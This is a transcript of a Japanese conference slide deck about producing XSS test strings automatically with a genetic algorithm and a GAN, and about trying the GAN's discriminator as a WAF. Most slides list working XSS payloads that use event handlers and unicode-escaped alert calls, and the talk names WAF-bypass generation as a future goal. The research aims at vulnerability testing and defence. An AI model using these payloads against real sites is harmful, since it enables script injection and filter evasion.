Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -

267 views

Published on

インターネット上で誰でも簡単に入手できるデータを、全自動で「価値あるデータ」に錬金する技術の紹介。

Published in: Technology
  • Be the first to comment

サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -

  1. 1. 2018.09.14 Security reject Con + ssmjp Presented by Isao Takaesu (TW: @bbr_bbq) サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -
  2. 2. 本日のお話し MBSD RejectCon + ssmjp インターネット上で誰でも簡単に入手できるデータ を、全自動で「価値あるデータ」に錬金する手法を 紹介します。 ありふれたデータ 価値あるデータ 錬金!!
  3. 3. 本日の価値あるデータ:XSSの検査値/ブラックリスト 1 : <frameset><frame/onload=alert(1); /> 2 : <object/data=evil.html #</a> 3 : <body onmouseover=alert(1); <canvas </basefont> 4 : <video><source onerror=¥u0061lert(1); /> 5 : <svg/onload=alert(1); </del> 5 : <script>alert(1);</script> 6 : <script>onerror=¥u0061lert(1);</script> 7 : <video><source onerror=prompt(1);> 8 : <frameset><frame/onload=alert(1); /> 9 : <iframe/onload=alert(1); /> 10 : <body onload=alert(1); /> 診断員にとっては、脆弱性診断に役立つ検査値。 サイト運営者にとっては、攻撃の防御に役立つブラックリスト。 MBSD RejectCon + ssmjp
  4. 4. 本日の価値あるデータ:XSSの検査値/ブラックリスト 1 : <frameset><frame/onload=alert(1); /> 2 : <object/data=evil.html #</a> 3 : <body onmouseover=alert(1); <canvas </basefont> 4 : <video><source onerror=¥u0061lert(1); /> 5 : <svg/onload=alert(1); </del> 5 : <script>alert(1);</script> 6 : <script>onerror=¥u0061lert(1);</script> 7 : <video><source onerror=prompt(1);> 8 : <frameset><frame/onload=alert(1); /> 9 : <iframe/onload=alert(1); /> 10 : <body onload=alert(1); /> 診断員にとっては、脆弱性診断に役立つ検査値。 サイト運営者にとっては、攻撃の防御に役立つブラックリスト。 MBSD RejectCon + ssmjp 本手法で錬金され た検査値です。
  5. 5. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  6. 6. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  7. 7. RejectCon + ssmjp Step.1. 検査値の基を収集 MBSD HTML解説サイトからタグや属性・イベントハンドラなどを収集。 Html tag Attribute Event handler
  8. 8. RejectCon + ssmjpMBSD [*] 収集した検査値の基の一例 Step.1. 検査値の基を収集 タグ 属性 イベントハンドラ 記号など <script> src= onerror “ <body/ type= onload ‘ <object/ data= onmouseover alert(); <iframe/ value= onfocus evil.html <input/ name= onclick evil.js
  9. 9. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  10. 10. RejectCon + ssmjpMBSD 環境に適合した個体(最適化された遺伝子の組み合わせ)を探索。 初期集団の生成 個体の評価 交叉突然変異 個体 ● ▲ ■ × ★遺伝子 選択 次世代へ… Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 遺伝的アルゴリズム(GA)とは?
  11. 11. RejectCon + ssmjpMBSD Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 検査値はタグや属性などの要素の組み合わせで構成される。 <object/data=evil.html #</a> <object/ data= evil.html # </a> <video><source onerror=¥u0061lert(); /> <video> <source onerror= ¥u0061lert(); /> <iframe/onload=alert(); /> <iframe/ onload= alert(); /> - 各要素をGAにおける遺伝子として定義し、環境に適合した最適な遺 伝子の組み合わせを持った個体(検査値)を探索。 <svg/onload=alert(); </del> <svg/ onload= alert(); </del> -
  12. 12. RejectCon + ssmjpMBSD Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 環境への適合度を評価する手法。 評価関数を使用して各個体の適合度を求め、適合度の高い個体を 進化(交叉・突然変異)させて次世代に残す。これを繰り返す。 2. スクリプトが動作するか?1. HTML構文として正しいか?
  13. 13. RejectCon + ssmjpMBSD Step.2. 遺伝的アルゴリズムで検査値を生成 [*] GAで生成した検査値。 Idx 検査値 1 <script>alert();</script></table><hr/ 2 <iframe/onload=alert();><select/ 3 <svg/<canvas/<select/onload=confirm();> 4 <video><source onerror=confirm();> 5 icon=<iframe/<body onload=¥u0061lert();> 6 <embed onload=alert();<script type="text/javascript"> 進化計算を繰り返すことで、数種類の検査値が生成される。 [!] 上記の検査値は、全てスクリプトが動作します。
  14. 14. RejectCon + ssmjpMBSD https://goo.gl/LgnpGN Step.2. 遺伝的アルゴリズムで検査値を生成 [*] 詳細情報はコチラ。 日本語: 英語 :https://goo.gl/g4MfnP
  15. 15. RejectCon + ssmjp 錬金の手順 MBSD 2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集 Step.1. 検査値の基を収集 [*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。 Step.2. 遺伝的アルゴリズム(GA)で検査値を生成 [*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。 Step.3. 生成モデル(GAN)で大量の検査値を生成 [*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。 Fully automatic (No human)Manual (human)
  16. 16. RejectCon + ssmjpMBSD ノイズを基に、訓練データを模倣したFakeデータを大量に生成。 ・ ・ ・ Noise Generator (G) ・ ・ ・ Generative Data ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? [*] 生成モデル(GAN)とは? Step.3. 生成モデルで大量の検査値を生成
  17. 17. RejectCon + ssmjpMBSD 模倣者は、お手本そっくりの贋作で騙そうとする。 鑑定士は、贋作を見破ろうとする。 騙し/見破りを繰り返すことで、お互いの能力が高まる(学習)。 G(=模倣者) D(=鑑定士) [*] 生成モデル(GAN)とは? Step.3. 生成モデルで大量の検査値を生成 Train data(お手本) Generative data(贋作) 騙そうとする 見破る
  18. 18. RejectCon + ssmjpMBSD 学習を繰り返すことで、徐々に訓練データに近似したデータを生成。 Step.3. 生成モデルで大量の検査値を生成 [*] 生成モデル(GAN)の簡単な実行例。 ・訓練データ ・生成データ
  19. 19. RejectCon + ssmjpMBSD 学習の過程で訓練データとは似て非なる様々な検査値を生成。 ・ ・ ・ Noise Generator (G) ・ ・ ・ Generative Data ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? [*] 検査値を大量に生成するには? Step.3. 生成モデルで大量の検査値を生成 GAが生成した検査値
  20. 20. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <script>alert();</script></table><hr/ 生成されたデータ 1 <script>alert``;</script><table/</td> 2 <script>al¥u0065rt();</script></tr><th/ 3 <script>prompt();</script><th/<col/ 4 <script>confirm();</script><thead <table/ Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  21. 21. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <iframe/onload=alert();><select/ 生成されたデータ 1 colspan=<iframe <a onload=al¥u0065rt();> 2 <object/onload="onfocus=alert();"<script type="text/javascri pt"> 3 <iframe onload=alert``; /><select 4 icon=<iframe/<img onload=al¥u0065rt();> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] Idx.2は、訓練データとは全く異なる検査パターン。
  22. 22. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <svg/<canvas/<select/onload=confirm();> 生成されたデータ 1 <svg/onload="¥u0061lert();"></output> 2 <object/src=# onload=alert();¥n<script type="text/javascript "> 3 <script/src="data:text/html,alert();"<script></script> 4 <svg/onload=confirm();> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] Idx.2, 3は、訓練データとは全く異なる検査パターン。
  23. 23. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <video><source onerror=confirm();> 生成されたデータ 1 <video><source onerror="¥u0061lert``;"> 2 <video><source onerror="al¥u0065rt``;"> 3 <video><source/onerror=alert();> 4 <video><source onerror=prompt(1);> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  24. 24. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - icon=<iframe/<body onload=¥u0061lert();> 生成されたデータ 1 headers=<body/<body onload=alert();> 2 icon=<body <input/onload=confirm(1);> 3 kind=<body <img onload=alert``;> 4 <img src=# <keygen onerror=¥u0061lert``;> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] Idx.4は、訓練データとは異なる検査パターン。
  25. 25. RejectCon + ssmjpMBSD [*] 生成モデルで生成した検査値。 Idx 訓練データ(GAが生成した検査値) - <embed onload=alert();<script type="text/javascript"> 生成されたデータ 1 <embed/onload=al¥u0065rt();¥n<script type="text/javascript"> 2 <embed onload=alert``;¥n<script type="text/javascript"> 3 <embed/onload=prompt();¥n<script type="text/javascript"> 4 <embed/src=# onload=confirm();¥n<script type="text/javascrip t"> Step.3. 生成モデルで大量の検査値を生成 1つの訓練データから、複数種類の検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  26. 26. RejectCon + ssmjpMBSD [*] もっと検査値を増やしてみよう! Idx 訓練データ(1回目のGANで生成された検査値) - <object/src=# onload=alert();¥n<script type="text/javascrip t"> 生成されたデータ 1 <object/onload=prompt();¥n<script type="text/javascript"> 2 <svg/onload=al¥u0065rt();¥n<script type="text/javascript"> 3 <iframe/*/onload=charset=alert();> Step.3. 生成モデルで大量の検査値を生成 1回目のGANで生成された検査値を訓練データにすることで、 さらなる検査値が生成される。 [!] Idx.2, 3は、訓練データとは異なる検査パターン。
  27. 27. RejectCon + ssmjpMBSD [*] もっと検査値を増やしてみよう! Idx 訓練データ(1回目のGANで生成された検査値) - <script/src="data:text/html,alert();"<script></script> 生成されたデータ 1 <script src="data:text/html,al¥u0065rt``;"<script></script> 2 <script src="data:text/html,confirm();"<script></script> 3 <script/src="data:text/html,alert``;" <script></script> Step.3. 生成モデルで大量の検査値を生成 1回目のGANで生成された検査値を訓練データにすることで、 さらなる検査値が生成される。 [!] 訓練データとは似て非なる検査値を生成。
  28. 28. RejectCon + ssmjpMBSD [*] もっと検査値を増やしてみよう! Idx 訓練データ(1回目のGANで生成された検査値) - <img src=# <keygen onerror=¥u0061lert``;> 生成されたデータ 1 <script src=# <label onerror=confirm();¥n<script></script> 2 <img src= <meter onerror=alert();¥n<script></script> 3 <iframe src=# <keygen onload=alert();¥n<script></script> Step.3. 生成モデルで大量の検査値を生成 1回目のGANで生成された検査値を訓練データにすることで、 さらなる検査値が生成される。 [!] Idx.1, 3は、訓練データとは異なる検査パターン。
  29. 29. RejectCon + ssmjpMBSD ノイズは[-1.0, 1.0]範囲でランダムに選んだ200次元ベクトル。 ・ ・ ・ Noise Generator (G) ・ ・ ・ Generative Data ・ ・ ・ ・ ・ ・ Train Data Train Data ・・・ Discriminator (D) Probability True? [*] もっともっと検査値を増やしてみよう! Step.3. 生成モデルで大量の検査値を生成 GAが生成した検査値 ノイズに着目!!
  30. 30. RejectCon + ssmjpMBSD (十分に学習したGANにおいては)ノイズの値域内からサンプリン グした各ベクトルと、GANで生成される検査値は紐付いている。 [*] Generatorに入力されるノイズの空間。 Step.3. 生成モデルで大量の検査値を生成 ノイズの値域 [-1.0, 1.0]^n <script>al¥u0065rt();</script> <svg onload=alert();src=evil.js "" /> <video><source/onerror=alert();> [-0.183, 0.752 … 0.002, -0.652] [0.723, -0.083 … 0.189, 0.044] [-0.081, -0.531 … 0.024, -0.326]
  31. 31. RejectCon + ssmjpMBSD (スクリプトが動作する)2つの検査値に紐付くノイズの中間値を Generatorに入力すると、各検査値を併せた検査値が生成される? [*] 足し算・引き算ができるベクトルの特性を利用する。 Step.3. 生成モデルで大量の検査値を生成 <script>al¥u0065rt();</script> <svg onload=alert();src=evil.js "" /> <script src=saivs.js "></script> [*] 期待する結果。
  32. 32. RejectCon + ssmjpMBSD [*] 2つのノイズの中間値を基に生成された検査値。 元の検査値 <object/<embed/data=evil.html <script type="text/javascrip t"> <object/src=# onload=alert();¥n<script type="text/javascrip t"> 生成されたデータ <embed/<a/onload=alert();¥n<script type="text/javascript"> 2つの検査値の特徴を併せた検査値が生成される。 [*] HTMLタグ、イベントハンドラなどが組み合わさっている。 Step.3. 生成モデルで大量の検査値を生成
  33. 33. RejectCon + ssmjpMBSD [*] 2つのノイズの中間値を基に生成された検査値。 元の検査値 alert``;<script>al¥u0065rt``;</script> ¥u0061lert``;<script>prompt();</script> 生成されたデータ al¥u0065rt();<script>confirm();</script> 組み合わせとは言えない検査値も生成される。 [?] 元検査値の組み合わせを考慮する必要がある? ノイズ値域において、検査値やタグなどの分布を調査する 必要がある? Step.3. 生成モデルで大量の検査値を生成
  34. 34. RejectCon + ssmjpMBSD [*] 本手法で錬金された検査値数と処理時間。 まとめ 手法 生成された検査値の総数 処理時間 遺伝的アルゴリズム(GA) 6 個 5.0 時間 生成モデル : 1回目 581 個 (+575) 2.0 時間 生成モデル : 2回目 627 個 (+146) 1.0 時間 生成モデル : ノイズ合成 643 個 ( +16) 0.5 時間 [!] 文字列として重複していない検査値をカウント。 [!] 動作パターンによる重複は排除していない。 インターネット上で誰でも簡単に入手できるデータを、 現実的な時間で価値あるデータに錬金することができた。
  35. 35. RejectCon + ssmjpMBSD 鑑定士(D)は、お手本をまねた贋作を見破ることができる。 本日のタスクでは「お手本=検査値」とした。 よって、模倣者(G)が作る贋作も検査値。ということは・・・ G(=模倣者) D(=鑑定士) [*] 鑑定士(D)の「見破る」能力を何かに活用できないか? Step.3. 生成モデルで大量の検査値を生成 Train data(お手本) Generative data(贋作) 騙そうとする 見破る
  36. 36. RejectCon + ssmjpMBSD スクリプトが動作する文字列(検査値)と無害な文字列をやられサー バに送信し、Discriminatorの検知精度と応答速度を観測。 [!] Discriminatorの出力が「0.53」以上の場合にBlock Discriminator (WAF) [*] 鑑定士(Discriminator)をWAFにする試み。 Step.3. 生成モデルで大量の検査値を生成 やられサーバテスター Block or Allow 検証環境イメージ Probability
  37. 37. RejectCon + ssmjpMBSD Discriminatorは、FPを回避する能力が優れているが、学習が足り ないと致命的なFNを引き起こす。また、応答速度にも難がある。 [!] 実運用するには、上記課題の解決が必須(今後の課題)。 [*] 計測結果(FP=False Positive, FN=False Negative)。 Step.3. 生成モデルで大量の検査値を生成 Idx 送信文字列 検知精度 - - Discriminator Mod Security 1 <script>hello Allow [0.51] Block(FP) 2 <a/alert();>hello Allow [0.50] Block(FP) 3 <script>alert();</script> Block [0.54] Block 4 <img src=x onerror=xss> Block [0.56] Block 5 <a onmouseover=alert();> Allow(FN) [0.49] Block 平均応答速度: 約 200 [ms] 約 5~10 [ms]
  38. 38. MBSD 今後の課題(≒ Rejectされた理由) RejectCon + ssmjp [+] 生成した検査値/ブラックリストの実証実験 * 検査値を使用し、実サービス/製品の脆弱性を検出する。 * Webサイトでブラックリストを使用し、実際の攻撃を防ぐ。 [+] 人間では思いつかない(つき難い)検査値の生成 * WAFやフィルタをBypassする検査値を生成する。 そして、これをWAFベンダなどにフィードバックする。 [+] 他分野への応用 * 他脆弱性の検査値や他セキュリティ領域に応用する。
  39. 39. MBSD Resource RejectCon + ssmjp https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/Generator [*] Source codes & Usage.
  40. 40. Reference all source codes and document: https://github.com/13o-bbr-bbq/machine_learning_security/

×